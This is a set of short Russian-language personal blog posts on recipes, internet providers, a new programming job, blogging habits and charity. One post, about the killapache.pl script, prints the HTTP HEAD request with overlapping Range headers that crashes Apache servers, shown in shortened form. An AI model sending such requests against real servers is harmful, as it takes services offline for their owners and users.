Готовим из лаваша

Блюда из лаваша отличаются простотой и скоростью приготовления.

Замена мантам:
С тестом возиться не всегда хочется, а потому берем лаваш, закутываем в него начинку для мант и варим в мантоварке. Profit! Не манты конечно, но тоже по своему вкусно.
Начинку использовать можно не только «мантышную», можно дать волю фантазии. Например можно использовать грибы, сыр… В общем поле для экспериментов, как и в пицце.

Чипсы:
Режем лаваш на кусочки как чипсы (можно ножницами). Смазываем маслом (растительным или сливочным), выкладываем на противень (можно подстелить кулинарную бумагу). Солим и посыпаем приправами на свой вкус (опять же поле для экспериментов). Я использовал аджику, чили, карри, семена кунжута, сушенный уроп и еще кучу всего. Можно даже смазать кетчупом.
Поставить в разогретую духовку (200 градусов) и готовить до хрустящего состояния (главное не передержать, а то будет горелый привкус). Получаются вполне сносные чипсы. Если угадать с приправами, то получается нямка, от которой невозможно оторваться.

Источник

Депрессия

Почему же всё так странно и не однозначно…
Казалось бы всё хорошо… Родные живы-здоровы, любимый человек рядом, приятная работа… Но что-то всё же гложет меня изнутри и не дает покоя. Что-то не так… нет счастья, нет радости… Как с этим бороться…

Citynet — без вариантов.

Около четрыёх лет являюсь абонентом провайдера Citynet. Этот провайдер всегда радовал качеством работы. Но в этом году качество стало сильно падать, цены у других провайдеров успели упасть, а скорости вырасти раза четыре. А у Citynet все по прежнему, теперь еще и качество хромает.
Решил найти альтернативу и не нашел. Мне необходима скорость 100 мегабит по KG зоне. Зарубежный трафик меня не интересует, я использую VPN.
Посмотрел тарифные планы других провайдеров. Анлим по КГ просто исчез. На безлимитных тарифах скорость по КГ 1, 5 и 10 мегабит/с. Для меня это не приемлемо по нескольким причинам:
1) Мой VPN > 10 мегабит.
2) Для оперативного обновления www.ts.kg мне необходимо 100 мегабит. Пробовал делать это с 10 мегабитами, я не готов тратить столько времени.
3) Да и вообще 100 гораздо удобнее, чем 10.

Придется пока оставаться на Citynet.

Почему имея пиринг и даже прямые гигабитные линки между некоторыми провайдерами, невозможно найти доступный тариф со 100 мегабитами? Еще недавно вся страна сидела на 100. Конечно пиринг не выдерживал, вечером грузился под 100%. Но провайдерам надо развиваться, менять оборудование на гигабитное, кидать прямые линки друг к другу, благо город очень маленький. А нет, как всегда страдают абоненты.

Источник

Первый день — полет нормальный.

Давно я не работал на настоящей работе. Пару недель назад я пошел на первую в Бишкеке конференцию GTUG (Google Technology User Group). Проводил ее мой давний знакомый и коллега по профессии и торренту Костя. Он работает в одной российской компании, которая занимается разработкой ПО. С ним на конференцию пришли почти все его коллеги из этой же конторы. В ходе общения выяснилось, что им срочно требуется PHP программист. Я полушутя предложил себя и уже через неделю прошел собеседование, а сегодня был мой первый рабочий день. Теперь я PHP developer в компании Sibers.

Первый день прошел неожиданно нормально. Поковырял немного плагин для Wordpress. Очень порадовали хороший интернет, хороший компьютер с Ubuntu и душевная компания.
Надеюсь у меня все получится. Все таки я себя не считаю профессионалом, только обнадеживает большой опыт. Работая в такой команде я уж точно узнаю цену себе и надеюсь даже подниму ее :)

Источник

Страшный сон пользователей Apache

Пять дней назад в листе рассылки Full Disclosure появился скрипт, по заявлению автора, убивающий Apache начиная от самых старых версий до самых новых.

И как удалось выяснить на собственной шкуре он реально работает Скрипт killapache.pl запускает в несколько десятков потоков простой запроc:

HEAD / HTTP/1.1
Host: www.example.com
Range: bytes=0-,5-0,5-1,5-2,5-3,5-4,<...>,5-1299,5-1300
Accept-Encoding: gzip
Connection: close

Читать дальше →

Как вести два блога, да и надо ли? :-)

У меня давно есть личная страничка, скажем так, моя оффициальная страница — конкретного, заранее известного, человека :-)
Сначала она была на голом ХТМЛ-е, потом на ХТМЛ-е с ССИ, а теперь на ПХП с мусклом — на обычном блоговом движке Вордпресс.

Потом я пытался вести блог на форуме Дизель, но не понравилось, т.к. там слишком большое внимание — пишут комментарии люди, которые мне не нужны и не подходят по теме блога и записей :-)
В конце концов оттуда блог своя я удалил.

Потом я завёл блог здесь, людей мало, так что лишнего внимания нет. Движок хоть и не предоставляет возможностей для кастомизации и имеет другие недостатки, но мне нравится больше других. Здесь мне как-то легче и проще писать, чем на своей личной странице и её я почти забросил.

Так вот, не знаю теперь что делать — пытаться и далее поддерживать два блога или же перейти на один (неважно какой). Вроде нужно мне два отдельных блога — один официальный, а другой неофициальный. В первый я должен был бы писать серьёзные и полезные вещи, а второй — что вздумается. Но как-то не получается — пишу всё равно только в неофициальный.
С другой стороны, иногда нужно написать что-то такое, что однозначно ассоциировалось бы со мной как с неким физическим лицом, а не с ником на каком-то там сайте, типа «официальное сообщение» :-)

Вот сейчас написал и понял, что проблема гораздо шире, чем просто выбор между двумя площадками для записей. Получается, что у меня две виртуальные личности, которые отличаются друг от друга достаточно чтобы не вести все записи в одном месте. И не хочется, чтобы все знали, что вот тот конкретный человек — это такой-то ник на том или ином ресурсе. И не хочется, чтобы все знали, что такой-то ник на одном ресурсе — это такой-то ник на другом ресурсе.
Раздвоение личности, блин :-)

А как у вас обстоит дело?

Мои достижения

Доброго времени суток, хотел бы рассказать о прошедшем годе в моем лице так скзать похвастатся. 2010 год был для меня очен спокойным годом и открытий в плане любви, я помог сиротам из дет. дома купив в сентябре им теплую одежду, скал кровь несколько раз возможно это для Вас покажется мальенким пожертвованием во благо народа.
В новом году я хочу утроить свои пожертвовования и хотел бы и вам присоиденится ко мне, ведь то чуство которое дают на дети несровнимо ни с чем.А так же встретил девушку мечты ровно в 00:00 под бой курантов так сказать. Желаю процветания, любви, много открытия. Ваш Урмат